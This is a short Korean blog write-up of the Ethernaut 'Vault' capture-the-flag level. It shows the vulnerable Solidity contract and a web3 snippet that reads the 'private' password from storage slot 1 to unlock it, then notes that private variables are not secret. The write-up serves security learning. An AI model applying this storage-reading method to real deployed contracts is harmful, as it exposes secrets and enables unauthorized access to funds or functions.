본문 바로가기

블록체인/Ethernaut

[Ethernaut] 8. Vault

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

 

목표

unlock the contract.

 

 

방법

let pwd
web3.eth.getStorageAt(await contract.address, 1, function(err, result) {pwd = result})
await contract.unlock(pwd)

private 선언을 한다고 안전한 것은 아니다.

'블록체인 > Ethernaut' 카테고리의 다른 글

[Ethernaut] 10. Re-entrancy  (0) 2022.06.05
[Ethernaut] 9. King  (0) 2022.06.04
[Ethernaut] 7. Force  (0) 2022.05.31
[Ethernaut] 6. Delegation  (0) 2022.05.30
[Ethernaut] 5. Token  (0) 2022.05.28